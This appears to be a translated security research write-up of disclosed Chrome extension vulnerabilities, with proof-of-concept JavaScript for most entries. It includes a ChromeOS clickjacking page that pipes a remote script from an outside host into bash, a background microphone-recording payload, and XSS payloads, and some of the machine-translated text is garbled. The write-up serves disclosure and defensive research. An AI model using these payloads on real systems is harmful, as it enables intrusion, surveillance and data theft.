An In-Depth Analysis of Google Chrome Extension Vulnerabilities and Security

An In-Depth Analysis of Google Chrome Extension Vulnerabilities and Security

Table of contents

Introduction

Create a directory that has automatically synced and beautified the source code of Google Chrome extensions hosted in the Chrome Web Store.

  • Search for keywords such as .onMessage, .onConnect, .onRequest, and .onMessageExternal, and check whether the message is sent to the background page.
  • Check accessible message listeners post message and verify allowed senders.
  • Try to search for all XSS vulnerability points, such as scripting.executeScript, document.write, innerHTML =, location.href =, open().
  • CodeQL
  • Check for web_accessible_resources clickjacking, the script here will also bypass the site’s CSP (Content Security Policy).

RCE vulnerability in Application Launcher For Drive

The vulnerability has been fixed and the reward is $3133.70

Relaxed rules that allow unsafe origins: "externally_connectable": { "matches": [ "://.google.com/*" ] }

Run the following command on any Google subdomain including unsafe subdomains http://. The following code runs a VBS script on the victim, causing RCE.

let api = chrome.runtime.connect('lmjegmlicamnimmfhcmpkclmigmmcbeh', {name: 'com.google.drive.nativeproxy'});
let request = 'native_opener/v2/3/' + btoa('["<VICTIM EMAIL>", "<SHARED FILE ID>","VkJTRmlsZQ",""]'); api.postMessage(request);

Attack Scenario

An attacker on the same network, or with a browser extension/XSS vulnerability in any Google subdomain, could send a message to the agent to open any files they synced in Google Drive for sharing.

"Web mark" is not set, for details click: https://textslashplain.com/2016/04/04/downloads-and-the-mark-of-the-web/

externally_connectable By changing to only allow docs.google.com/* and drive.google.com/*, browser extension usage <all_urls>can still get RCE associated with it.

Perfetto UI leaks sensitive browser logs

Fixed, reward $5000

Perfetto UI is a Chrome extension from Google that records browser traces. The extension communicates with ui.perfetto.dev to record browser traces. The extension is particularly powerful because it is hard-coded to accept ExtensionIsTrustedspecial handling by Chrome ( ).

However, from manifest.json we can see that it also connects to storage.googleapis.com, a domain used to store arbitrary Google Cloud buckets that anyone can create.

  "externally_connectable": {
        "matches": [
            "*://localhost/*",
            "*://127.0.0.1/*",
            "https://*.perfetto.dev/*",
            "https://storage.googleapis.com/*"
        ]
    }

This means that anyone hosting a page on storage.googleapis.com can fully communicate with the extension to log in and read browser tracking information. This tracking information includes Chrome logs, IPC flows, network logs, and more than 150 other categories of information. Sensitive values ​​in the logs should be removed, but this filtering is not perfect and many sensitive values ​​are leaked (such as URLs and response headers of Chrome traffic, which contain sensitive information such as access tokens from the "Authorization" header).

  • Install the Perfetto UI extension

Open https://storage.googleapis.com/perfetto-ui-vuln-demo/vuln-poc.html

The PoC essentially loads a copy of the Perfetto UI frontend in an iframe, then configures it using JavaScript and clicks the "Start" button. After 15 seconds, the hidden iframe was displayed, showing the recorded data. The PoC page has access to all this data. To easily view the leaked data, you can click "Convert to .json" in the left menu.

Here's an example of how a page can extend communication:

port = chrome.runtime.connect('lfmkphfpdbjijhpomgecfikhfohaoine');
port.onMessage.addListener(console.log);
port.postMessage({method: 'GetCategories'});

Attack Scenario

The attacker sends a link to a page to the victim who has the Perfetto UI extension installed.

Once the victim opens the link, the attacker's page will record and save the victim's browser log (which contains the browser's "netlog" and other information, such as access tokens).

This issue has externally_connectablebeen https://storage.googleapis.com/fixed by removal. For details, click: https://github.com/google/perfetto/commit/493ab156ac9f2610f91f0d5df9a7a793b6539988

Bypass SOP by using the Screen Reader extension

Fixed, reward $5000

Screen Reader is an accessibility extension from Google. Its source code is available in the Chromium repository.

It exposes various commands that can be called. The problem is that the message listener does not check the origin of the incoming message. One of the commands is clickNodeRefinjected through a selector, and any element in the DOM can be clicked using an arbitrary selector.

channel = new MessageChannel();
win.postMessage("cvox.PortSetup", "*", [channel.port2]);
channel.port1.postMessage(JSON.stringify({ cmd: 'clickNodeRef', args: [{ cvoxid: '"], ' + selector + ', *[x="' }] }));

Therefore, a malicious page that references any other cross-origin page can click on elements on that page, bypassing the Same Origin Policy. This allows a simple and unrestricted way to perform clickjacking on any web page, even those with frame protection (except for pages with COOP).

This can be used to perform actions on other websites on behalf of the user. This PoC demonstrates one form of abuse: a fully automated way to grant sensitive OAuth permissions without the user's knowledge.

click page

After a few seconds, you can see at https://myaccount.google.com/permissions that the PoC application has accessed the Google account.

In addition to this vulnerability, there may be other security issues with this extension. For example, the following code does not sanitize user input; if exploited, this could lead to UXSS. (We haven't analyzed this yet, but it looks fragile too)

var html = Msgs.getMsg('pdf_header', [filename, src + '#original']);
headerDiv.innerHTML = html;

Attack Scenario

  • The attacker sends a link to the victim using the Scren Reader accessibility extension.
  • The victim opens the page and the attack runs in the background.
  • The attacker now has access to the victim's account.

This issue has been clickNodeReffixed by removing the method.

Bypassing SOPs with Tag Assistant Legacy

Fixed, reward $5000

Downgrade to require compromised renderer, maybe CPU bug comes into play

chrome.runtime.sendMessage({message: 'LoadScript', url: 'http://192.168.1.1'}, console.log);

The new security check has an allowed sources list but has open redirect issues. But this only works for application/javascript content types.

chrome.runtime.sendMessage({message: 'LoadScript', url: 'https://googleads.g.doubleclick.net/pcs/click?adurl=http://localhost:8000/x.js'}, console.log);

Attack Scenario

A compromised renderer can bypass the same-origin policy.

Exposing URLs using Tag Assistant Legacy extension

Fixed, rewarded $6267.4

Change the JS execution context to the content script of Tag Assistant Legacy and execute the following command:

chrome.runtime.sendMessage({message: "GetRecordedIssues", tabId: "<TabID>"}, a => {
    console.log(a.statusInfos[0].page.url);
});

Another way (different report)

Change the JS execution context to the content script of Tag Assistant Legacy and execute the following command:

let port = chrome.extension.connect({name: "popup"});
port.onMessage.addListener((a) => {console.log(a.url)});
port.postMessage({message: "Status", tabId: "<TabID>"});

Attack Scenario

A compromised renderer may leak visited URLs, which may contain sensitive data such as access_token.

XSS on 127.0.0.1:8090

Accepted and deprecated

For isolation, the extension hosts user-controlled code on localhost, but it does not verify the sender of the message or the origin of the usage null.

let x = window.open('http://127.0.0.1:8090/preview/untitled_phaser_blockly_file.html') window.addEventListener("message", a=> {     console.log(a.data)    x.postMessage({name: "__exec__", value:"alert(origin)"}, "*")     }) setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)

Attack scenario

An attacker-controlled website can obtain XSS on localhost, which may be trusted by the application because it references the user's local machine

Limited URL spoofing via Secure Shell extension

Partially repaired, no reward received

Pages can be loaded or embedded chrome-extension://iodihamcpbpeioajjeobimga.. make the current tab full screen without user interaction.

Influence:

  • Ability to enter full-screen mode when the user is away from the device (no full-screen message will be displayed)
  • Ability to disable full-screen exit commands.
// Allow users to bookmark links that open as a window.
  const openas = params.get('openas');
  switch (openas) {
    case 'window': {
      // Delete the 'openas' string so we don't get into a loop.  We want to
      // preserve the rest of the query string when opening the window.
      params.delete('openas');
      const url = new URL(document.location.toString());
      url.search = params.toString();
      openNewWindow(url.href).then(() => globalThis.close);
      return;
    }

    case 'fullscreen':
    case 'maximized':
      chrome.windows.getCurrent((win) => {
        chrome.windows.update(win.id, {state: openas});
      });
      break;
  }

The issue of repeatedly entering full-screen mode has been fixed by removing the opener reference. For details, click: https://chromium-review.googlesource.com/c/apps/libapps/+/4823645

Bypass SOP using Form Troubleshooter extension

Fixed, not an official Google app

The Form Troubleshooter extension is a project of Google Chrome Labs.

The extension adds a content script to all pages that responds with the current document's DOM tree, and it accepts any messages that refer to the window's pages.

window.addEventListener('message', async (event) => {
    if (event.data?.message === 'iframe message') {
        const messageType = event.data?.data?.type;
        if (messageType === 'inspect') {
            sendPostMessageResponse(event, await getDocumentTree(document));
        }
        [...]
    }
});

This means that this page can get the document tree of any other page it references.

  • Run
onmessage = console.log;
x=window.open('https://facebook.com')
setTimeout(() => {
 x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*');
}, 1000);
  • Notice that the document tree has been leaked.

Attack Scenario

  • The attacker sends a link to a page with this payload to a victim who has the Form Troubleshooter extension installed.
  • Once the victim opens the link, the attacker's page will be able to fetch the document tree of any web page that does not have an explicit Cross-Origin-Opener-Policy header (via ) window. opener prevents it from being framed ( ).iframe

This issue has been fixed by adding a source check, details here:

URL leaked in Tag Assistant for Conversions beta

Partial fix, unlikely to involve user interaction

Click the "Start" button via the extension pop-up and go to " https://example.org/?secretIn the context of an attacker-controlled website content script".

chrome.runtime.sendMessage({messageType: 6}, tabInfo => { for (let page in tabInfo.pages) { console.log(tabInfo.pages[page].info.url); } });
  • There is a navigation leak
chrome.runtime.onMessage.addListener(e => { console.log(JSON.stringify(e)) });

Attack Scenario

A compromised renderer can reveal visited URLs, which may contain sensitive data (such as access tokens), as well as other data (such as cookie names).

Long description in the context menu

Unlikely to involve user interaction

"Long Description in Context Menu" is an accessibility extension provided by Google. It adds a context menu item that will open a new tab showing the URL provided by the website. There are no restrictions on the content of the URL, which can lead to security risks.

<body longdesc="chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html">
    <h1 style="pointer-events: none;">Right click and select "Open Long Description In New Tab"</h1>
</body>
  • Right-click and select "Open long description in new tab."

Attack Scenario

  • The victim opens the attacker's website and clicks on the context menu item will create a new tab with an arbitrary URL with "sec-fetch-site: none", which can be abused to link to a full exploit, for example:
  • Bypassing web-accessible resource navigation restrictions

Fundamental

For bugs that require renderer exploits, we typically offer financial rewards for bugs that require only a single user interaction (i.e., a click). This is because bugs that require multiple user interactions from the victim are generally not used with renderer vulnerabilities (there is a greater risk of a renderer vulnerability being wasted since the attack may not be successful).

We also investigated 2 additional attack scenarios provided by navigating to javascript: URIand using renderer vulnerabilities to achieve UXSS.

The mentioned vulnerabilities have been fixed by Chrome. Therefore, we believe that this vulnerability is unlikely to cause UXSS by opening the downloaded html file using a renderer vulnerability to read local files.

To perform this attack, the following steps are required:

Download malicious HTML files. Ask the user to right-click and click "Open detailed description in new tab". This will open the malicious HTML file downloaded in Step 1, which can now read other files. This means that in addition to the multiple user interaction requirements in Step 2, the victim can also see the malicious file downloaded in Step 1. Therefore, we believe the likelihood of a successful attack is further reduced.

UXSS using Gerrit FE Dev Helper and broken renderer

  • Install extension
  • Open the DevTools console and select the "Gerrit FE Dev Helper" context
  • to run
chrome.storage.sync.set({rules: [{"destination": "alert(window.origin)","disabled": false,"isNew": false,"operator": "injectJSCode","target": ""}]})
    // Now open a tab (https://google.com) and click the extension action icon

This can also be Chrome.runtime.sendMessagedone via.

Attack Scenario

If a victim visits a website with a compromised renderer (with access to content scripts) and enables the extension there, the website will be able to bypass the Same Origin Policy.

This is an extension provided by Google for front-end Gerrit developers. For details click: https://gerrit.googlesource.com/gerrit-fe-dev-helper/

AMP Readiness Tool

window.onclick = () => {
 open('https://www.google.com');
 setTimeout(() => {
  chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, e => { console.log(e.html) });
 }, 3000);
}

Attack Scenario

A compromised renderer can bypass the same-origin policy.

URL leaks in Web Vitals

chrome.storage.local.get(null, results => { for (let hash in results) { console.log(results[hash].location); } });

There was a similar issue with ChromeVox but it was never fixed. For details click: https://bugs.chromium.org/p/chromium/issues/detail?id=1016535#c23

Attack Scenario

A compromised renderer may leak visited URLs, which may contain sensitive data such as access_token.

This issue has been fixed via

Site usage data leak in Chrome Reporting Extension

This extension requires setup to work properly: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\3rdparty\extensions\emahakmocgideepebncgnmlmliepgpgb\PolicyCreate a DWORD in report_user_browsing_data, with a value of 1.

On an attacker-controlled site, run the following:

chrome.storage.local.get('activeSites', e => { for (let url in JSON.parse(e.activeSites)) console.log(url) });

Attack Scenario

A compromised renderer may reveal visited URLs (source + pathname) enough to reveal unlisted Google Doc IDs.

Bypass Same Origin Policy with Save to Google Drive extension

chrome.storage.syncThe extension stores the folder ID of the compromised renderer's file storage location; if this is set to "With Link" and changed to an attacker-controlled value, their folder may be exposed.

This can only happen after the content script has been injected, which happens when the user clicks on the extension icon or uses upload.html directly from the browser extension.

Save the page chosen by the attacker

chrome-extension://gmbmikajjgmnabiglmofipea..<TabID>By changing the action id from image-entire to html, it leaks the source code of the page to that folder. This can be exploited through a browser extension with the Tabs API.

Spoof context menus to trick users into revealing unexpected URLs.

<img src="https://github.com/opensearch.xml">

Right-click and save the image to Drive. This element can be overlapped with the duck image. Potential fixes:

  • Check the content type of an image
  • Credentials are not included unless the image is on the same site (including redirects).

Attack Scenario

An attacker could exploit this vulnerability to bypass the Same Origin Policy (SOP).

ChromeOS RCE via Secure Shell extension

Operating system: ChromeOS (normal or developer mode). Developer mode allows access to the system shell, normal mode only allows predefined commands.

Requires installation of Google's Secure Shell extension plus older versions They have over 1 million users.

The extension exposes html/nassh.html as a web-accessible resource, can be used to access Crosh (Chrome OS shell), and can be embedded in any web page without restrictions. This allows a malicious website to allow the user to interact with the shell without the user's knowledge.

Some user interaction is required but can be made unnoticeable to the user by, for example, making it part of the game.

  • Make sure you have the Secure Shell extension installed
  • Open poc.html
  • Follow the instructions on the page (Ctrl+Shift+V, Enter, Ctrl+Shift+V, Enter)
  • Note that cat /etc/passwd(or any Linux command) has been executed

Alternatively, you can right-click (instead of Ctrl+Shift+V) clickpoc-rightclick.html

If developer mode is enabled, shell runs the command and provides access to the system shell. In regular user mode, the Crosh shell allows the execution of any predefined commands that may be used to gain access to the system shell.

Note: The PoC works best when development mode is enabled. In regular mode, the shell command will fail, but the problem will still occur.

Another potential attack vector is connecting to a device on the local network that typically has default credentials, such as html/nassh.html#root@192.168.1.1.

poc.html:

<!doctype html>
<html>
<head>
<style>
html, body { font-family: sans-serif; overflow: hidden; }
#croshFrame {
  position: absolute;
  top: 0;
  left: 0;
  width: 100vw;
  height: 100vh;
  opacity: 0.000000001;
  pointer-events: none;
}
#croshFrame.show { opacity: 0.5; }
#croshFrame.enablePointerEvents { pointer-events: auto; }
#instructions {
  font-size: 2em;
  font-weight: bold;
  text-align: center;
}
#inputElem { opacity: 0.000000001; }
</style>
</head>
<body>
<h1>PoC: crosh UI redress - Keyboard-only with polyglot</h1>
<p>(Frame will autoshow sometime around the last step. Use ?show to show iframe on page load. Use ?danger to run remote bash script.)</p>
<p id="instructions">Press any key to start</p>
<input id="inputElem">
<iframe id="croshFrame"></iframe>
<script>

var showFrame = () => {
  croshFrame.classList.add('show');
}

var shouldShow = window.location.search.indexOf('show') > -1;

if (shouldShow) {
  showFrame();
}

var setClipboard = async (text) => {
  const type = "text/plain";
  const blob = new Blob([text], { type });
  const data = [new ClipboardItem({ [type]: blob })];

  await navigator.clipboard.write(data);
}

var setupPayload1 = () => {
  console.info('Setup payload 1');
  var setPayload1 = async () => {
    console.info('Setting payload 1');
    var clipboardSuccess = false;
    try { 
      var dangerZone = window.location.search.indexOf('danger') > -1;
      if (dangerZone) {
        // Use payload below if you trust me (does nothing malicious)
        await setClipboard('shell || curl https://aogarantiza.com/chromium/crosh-payload.txt | bash');
      } else {
        await setClipboard('shell || cat /etc/passwd');
      }
      clipboardSuccess = true;
    } catch(e) {
       instructions.innerText = 'Please press space or any letter key.';
    }
    if (clipboardSuccess) {
      window.removeEventListener('keydown', setPayload1);
      croshFrame.src = 'chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html#crosh';
      instructions.innerText = 'Please wait...';
    }
  }
  window.addEventListener('keydown', setPayload1);
}

var frameLoadCount = 0;
croshFrame.addEventListener('load', () => {
  // First load isn't a usable prompt
  frameLoadCount++;
  if (frameLoadCount >= 2) {
    setTimeout(() => {
      // Slight delay to allow crosh to initialize and be ready for input
      // Ctrl+J can also be used instead of Enter.
      instructions.innerText = 'Please press Ctrl+Shift+V.\nThen press Enter.\n\nThen repeat the steps above.';
      setTimeout(() => { showFrame(); croshFrame.classList.add('enablePointerEvents'); }, 8000);
    }, 500);
  }
});

setupPayload1();

// Focus page so we get user activation with first valid keypress every time
inputElem.focus();

</script>
</body>
</html>

In Linux-enabled production mode (not available, the following impact is confirmed.

An attacker can open a Linux shell in a Termina virtual machine or a Linux shell in a container. Once an attacker obtains a Linux shell, they can run arbitrary shell scripts in a single copy/paste step. Using a script or running an arbitrary container can reduce the number of steps shown below (these are for manual reproduction, hence the more detailed steps).

To get a Linux shell in a Termina VM, run in crash vmc start terminate get a Linux shell in a container, run in crash ( vmc container termina test-t1 --timeout 120Note that vmc container on a physical Chromebook, the command usually requires a higher timeout, and the results may vary)

Malicious payloads can run lazily or in the background, so they don't necessarily occur while the user is still on the attacker's page. This can make certain attacks more difficult to detect and block. See Capturing Microphone Output for an example.

Run any container

Arbitrary containers can run attacker commands without further user input, which saves a copy/paste step and saves setup time in more sophisticated attacks (since the attacker does not need to set up a default container with their tools).

I don't have a custom image ready yet, so I'll use an Arch Linux image as an example, but this could be an attacker-controlled server + container.

Steps to reproduce in a crash based on: https://wiki.archlinux.org/title/Chrome_OS_devices/Crostini

In a crash, runvmc container termina test-arch https://us.lxd.images.canonical.com/ archlinux/current --timeout 120

After running the above command, the container will run on the target device. Note that since Arch does not have ChromeOS guest tools, you will see an error message, but this can be ignored. If you use crash to enter the virtual machine vviaterminaand then the lxc list runs it in the virtual machine, you will see the Arch container running. lx exec arch -- bashThis can be further verified by running in a virtual machine.

Open any URL or file with a known path in the browser

Copying steps in crash:

  • run in crash vmc container terminal penguin

This bypasses pop-up blockers from running and bypasses restrictions that prevent web pages from opening file URLs.

Can open any http(s), file, data, fFTP mailto URL. Allowed URL protocols include:

Rate limited to 10 calls per 15 seconds:

Read/write from known directories in MyFiles

If we know the directory name in MyFiles, we can read and write arbitrary user files. The default directory is the "Downloads" folder, which contains many users' sensitive data.

Can be used to steal data or tamper with files in installed directories.

Steps to reproduce in Crosh:

  • run in crash vmc share terminal Downloads

This will mount the directory at /mnt/shared/MyFiles/Downloads/ in the virtual machine and /mnt/chromeos/MyFiles/Downloads/ in the container.

Once mounted, an attacker can access these directories via code running in a virtual machine or container (at the attacker's choice).

Path traversal and other bad paths are checked here: \

Service::SharePath()is called with with SharePathRequest::MY_FILES(see the call here:

Capture Microphone Input

Copying steps in crash:

  • run in crash vmc start terminal --enable-audio-capture
  • Run in crash vmc container termina test-t1 --timeout 120(it may take several attempts until the container is running; the error message may be misleading)
  • In the container, run sudo apt install sox
  • In the container, run rec -t alsa

After completing step 4, observe the audio bar for microphone input displayed in the terminal. ChromeOS will also display a notification.

Note that if an attacker-controlled container is used, in-container commands can be automated (see the "Running Arbitrary Containers" section).

ChromeOS displays a notification that says "Linux is using your microphone" and then automatically hides it after a few seconds. The only persistent indications of microphone access are the microphone icon in the notification area, and the notification itself in the opening area.

When the user clicks on the microphone to access the notification, the Settings app opens to a Linux page. However, the user cannot revoke access to the microphone on this screen because the toggle for microphone access will remain off despite the container having access (this seems like something that should be fixed in the Settings app as well). The only way to stop this is to stop the container, virtual machine, or for typical users, reboot the entire system. It can be stopped by running in crash vmc stop terminal

Terminal virtual machines do not support camera input. But based on code analysis, it seems that ARC (Android), PluginVM (Parallels) and Borealis (Steam) virtual machines support cameras. If one of these supported virtual machines is present on the target system and is accessible via crash, the attacker may also be able to access the camera (although this has not been confirmed, it seems possible based on code analysis).

As a demonstration of doing this behind the scenes, steps 3 and 4 can be replaced with a Bash script hosted at https://aogarantiza.com/chromium/crosh-payload-2.txt (which an attacker could use curl ... | bash to run).

#!/bin/bash

run_payload() {
  sleep 10
  sudo apt install sox
  sleep 10
  rec -t alsa
}

echo "Hello, this will record audio in 20-40 seconds... you can close this shell/tab and it will still run"
run_payload &

Set up Wireguard configuration

Ability to set Wireguard VPN configuration via crosh wireguardcommand. However, I cannot get DNS to work properly until "Automatically configure network settings" is toggled in the GUI. Maybe someone with more experience configuring Wireguard can figure out how to make this useful for attackers. If it works, I think this could allow an attacker to tunnel traffic through their Wireguard server and potentially hijack DNS.

Notifications are not displayed when Wireguard is connected but are displayed when disconnected.

This issue is fixed by content_security_policyadding to the extension . frame-ancestors 'self';For details click:

Content Injection/XSS Prevented by CSP in Secure Shell Extension

  • Checkcat

The args in the url are base64 decoded and set as attributes of the html embed tag. Although JavaScript is blocked due to CSP restrictions, it still allows CSS

Password leaked from Proton Pass

Due to site isolation, the attacker-controlled process (content script) does not gain access to different site passwords as it would be process-isolated.

However, Proton Pass does not verify EXPORT_REQUEST the sender of the message, causing a renderer error to reveal all user passwords in unencrypted form.

Execute the following actions in the context of a content script on an attacker-controlled site:

// Bypass Self-XSS (For debugging)
f = document.createElement('iframe');
document.body.appendChild(f);
chrome = f.contentWindow.chrome;

// Dump database
chrome.runtime.sendMessage({type: 'EXPORT_REQUEST', payload: { encrypted: false } }, result => { console.log(atob(result.data)) });

Although the data in chrome.storage.local was shared to content scripts using the same process as the attacker controlling the website, the data was stored in encrypted form and therefore less useful. However, this can be improved by using the localStorage API directly in the background process. Because I think I also see an access token:

MV3 Service Worker does not allow local storage, but there are other options. For details click:

Unverified fix, click for details:

UXSS by Google Optimize extension

Attack Summary:

Google Optimize has a "Global Javascript" feature.

An attacker can set this feature to execute malicious Javascript code on a website of their choosing.

The attacker invites users (those who have the Google Optimize extension installed) to access their accounts, which causes this code to be executed after redirecting to any site. UXSS runs when the blue edit button is clicked. See below:

The token for the payload is stored in chrome.storage.local, so if the renderer is compromised, no user interaction is required (WAI is obtained). Click for details:

Screenwise Meter

  • Login CSRF (leak browser activity)
  • chrome.runtime.sendMessageBypassing by doing a WAR

Mandiant Advantage | Threat Intelligence

By leaking slackWebhook, teamsWebhook, token to a compromised rendererchrome.storage.local

Playstation password reset token leaked

URL: https://www.playstation.com/

The Playstation password reset email uses an unsecured http://link because click.txn-email.account.sony.comit must http:exacttarget.com be loaded using Salesforce's email analytics service, and both resets are done from the same game login page.

Attack Scenario

A local network attacker could obtain an account takeover when a user attempts to reset their password, which may also require the user's date of birth depending on the account settings.

XSS on AffiliCats

The "AffiliCats" website has an open redirect that can be urlset using a URL parameter called document.location.href, allowing navigation tojavascript:

f = new URLSearchParams(document.location.search) , g = new URL(f.get("url"));

Attack Scenario

Attacker-controlled website gets "cutest cats online".

XSS on GSTATIC

let payload = `
alert(window.origin);
`;

let f = document.createElement("iframe"); f.src = "https://www.gstatic.com/alkali/d78121f02d90dc923359a36d4b03dc5b4c2ae024.html"; document.body.appendChild(f); setTimeout(() => { f.contentWindow.postMessage({resourcePaths: {jsPath: "data:text/html,"+encodeURIComponent(payload)}}, "*"); }, 2000);

Attack Scenario

Exposes connections and DNS timings to the gstatic.com resource via the Performance API, which is sometimes used as an embed.

XSS on layout shift terminator

URL: https://googlechromelabs.github.io/layout-shift-terminator/

Since the page allows embedding, and it is possible to navigate to nested iframes, event.source === iframe.contentWindowpostMessage can be accomplished by racing to bypass the check. This can also be done by abusing the chromium maximum iframe limit using the null contentWindow trick.

f = document.createElement('iframe');
f.hidden = true;
document.body.appendChild(f);

function tryXSS() {
    loop = setInterval(() => {
        try {
            f.contentWindow[1].location = 'about:blank';
            f.contentWindow[1].eval("parent.postMessage({duration: 1, height: '</style><img src=x onerror=alert(origin)>', width: 1}, '*')");
            clearInterval(loop);
            f.contentWindow[1].location = 'https://googlechromelabs.github.io';
        } catch {}
    }, 100);

    f.src = 'https://googlechromelabs.github.io/layout-shift-terminator/?autorun';
}

tryXSS();
setInterval(tryXSS, 1000);

Download the latest extension source code

rm -rf extensions/*

sudo apt install unzip
npm -g install prettier

# Downloads every extension ID in extensions.txt
for extensionID in $(cat extensions.txt)
do
    wget "https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86-64&os_arch=x86-64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=unknown&prodversion=114.0.0.0&acceptformat=crx2,crx3&x=id%3D$extensionID%26uc" -O $extensionID.zip
    unzip $extensionID.zip -d extensions/$extensionID
    rm $extensionID.zip
    chmod -R 777 extensions/$extensionID
    prettier --write extensions/$extensionID
done

Extensions.txt

This may include extensions that are not considered official Google apps

gbecpjnejcnafnkgfciepngjcndodann
lkjlajklkdhaneeelolkfgbpikkgnkpk
kngjcibmkbngcpnaoafbgkicpgmdehje
iodihamcpbpeioajjeobimgagajmlibd
inomeogfingihgjfjlpeplalcfajhgai
hinmcgipjjndkedddmmpidnjikjebejj
ghbmnnjooekpmoecnnnilnnbdlolhkhi
fhcagphnoanpgcbhcjlijdbeeggldbof
djjmngfglakhkhmgcfdmjalogilepkhd
aihpiglmnhnhijdnjghpfnlledckkhja
abjoigjokfeibfhiahiijggogladbmfm
kgejglhpjiefppelpmljglcjbhoiplfn
noondiphcddnnabmjcihcjfbhfklnnep
nmmhkkegccagdldgiimedpiccmgmieda
nnckehldicaciogcbchegobnafnjkcne
npeicpdbkakmehahjeeohfdhnlpdklia
onjcfgnjjbnflacfbnjaapcbiecckilk
aohghmighlieiainnegkcijnfilokake
pjkljhegncpnkpknbcohdijeoejaedia
mmfbcljfglbokpmkimbfghdkjmjhdgbg
aapocclcgogkmnckokdopfmhonfmgoek
aapbdbdomjkkjkaonfhkkikfgjllcleb
felcaaldnbdncclmgdcncolpebgiejap
apdfllckaahabafndbhieahigkjlhalf
lmjegmlicamnimmfhcmpkclmigmmcbeh
hmjkmjkepdijhoojdojkdfohbdgmmhki
lpcaedmchfhocbbapmcbpinfpgnhiddi
mkaakpdehdafacodkgkpghoibnmamcme
joodangkbfjnajiiifokapkpmhfnpleo
gbkeegbaiigmenfmjfclcdgdpimamgkj
jhknlonaankphkkbnmjdlpehkinifeeg
mgijmajocgfcbeboacabfgobmjgjcoja
ldipcbpaocekfooobnbcddclnhejkcpn
mclkkofklkfljcocdinagocijmpgbhab
callobklhcbilhphinckomhgkigmfocg
kejbdjndbnbjgmefkgdddjlbokphdefk
hkgfoiooedgoejojocmhlaklaeopbecg
djflhoibgkdhkhhcedjiklpkjnoahfmg
hfhhnacclhffhdffklopdkcgdhifgngh
fllaojicojecljbmefodhfapmkghcbnh
pocpnlppkickgojjlmhdmidojbmbodfm
jndclpdbaamdhonoechobihbbiimdgai
bhloflhklmhfpedakmangadcdofhnnoh
nlbjncdgjeocebhnmkbbbdekmmmcbfjd
kcnhkahnjcbndmmehfkdnkjomaanaooo
dllkocilcinkggkchnjgegijklcililc
jnkmfdileelhofjcijamephohjechhna
jmekfmbnaedfebfnmakmokmlfpblbfdm
gecgipfabdickgidpmbicneamekgbaej
gmandedkgonhldbnjpikffdnneenijnd
djcfdncoelnlbldjfhinnjlhdjlikmph
fcgckldmmjdbpdejkclmfnnnehhocbfp
eekailopagacbcdloonjhbiecobagjci
akimgimeeoiognljlfchpbkpfbmeapkh
fhndealchbngfhdoncgcokameljahhog
emahakmocgideepebncgnmlmliepgpgb
kjeeglcidfbjdmdkkoiakojnconnemce
kbjopffcocgcnkigpnnmpcoimhjbjmba
ienfalfjdbdpebioblfackkekamfmbnh
ipkjmjaledkapilfdigkgfmpekpfnkih
eoieeedlomnegifmaghhjnghhmcldobl
cdockenadnadldjbbgcallicgledbeoc
khpfeaanjngmcnplbdlpegiifgpfgdco
jknemblkbdhdcpllfgbfekkdciegfboi
pbcodcjpfjdpcineamnnmbkkmkdpajjg
pkidpnnapnfgjhfhkpmjpbckkbaodldb
iogfkhleblhcpcekbiedikdehleodpjo
aoggjnmghgmcllfenalipjhmooomfdce
nmoffdblmcmgeicmolmhobpoocbbmknc
fklpgenihifpccgiifchnihilipmbffg
ohbmencljkleiedahijfkagnmmhbilgp
llpfnmnallbompdmklfkcibfpcfpncdd
pkbdliadhfopgfdhbldifaakplenbpnd
bhcleoapmpajopgfbbjbokgfmmjpihkj
iijdllfdmhbmlmnbcohgbfagfibpbgba
ncigbofjfbodhkaffojakplpmnleeoee
eljbmlghnomdjgdjmbdekegdkbabckhm
fmgkgdalfapcmjnanilfcpkhkhedmpdm
gkbmnjmlhjnakmfjcejhlhpnibcbjdnl
amndppkiecbdmiaihgbicalhabkkhhpk
fojlbpdodmdfcdeigmknnaeikaadaaoh
ngjnkanfphagcaokhjecbgkboelgfcnf
odkacekibiibhidpiopcmgbgebkeoced
cmhomipkklckpomafalojobppmmidlgl
aghmgfkjfbkcockededacdhemkpgdcko
eakkgknfmgeecamodkgdnoabcphgaidc
lfmkphfpdbjijhpomgecfikhfohaoine
cniohcjecdcdhgmlofniddfoeokbpbpb
gdfknffdmmjakmlikbpdngpcpbbfhbnp
obkehignjblpidgnopmikpgjklkpbgpj
aonapkfkfneahhaonjjpmcabpnbdmojl
cokoeepjbmmnhgdhlkpahohdaiedfjgn
mogcmmflienoigckdgnkkkafbgkaecbj
pipjflhdnjcdflbkmoldkkpphmhcfaio
hiijcdgcphjeljafieaejfhodfbpmgoe
gikieikejljogkfjbijjplfhbmhbmfkf
ibmblmkjihglholefminaiddohamopnn
khkjfddibboofomnlkndfedpoccieiee
ahnljpdlfbmbhfabicjhfpaahfpedgfn
pgiknkjjcfcalehnoedjngelcgopgkgc
ijimhcgeahpgfdcgaheadagkjkiibcnj
fpdeeiodjafkidabmmeighhmfffnldak
daedidciajfkjpjfmailopfppehmdlkn
omamhhjibghapdodkhlmcpibplefhmgl
gmbmikajjgmnabiglmofipeabaddhgne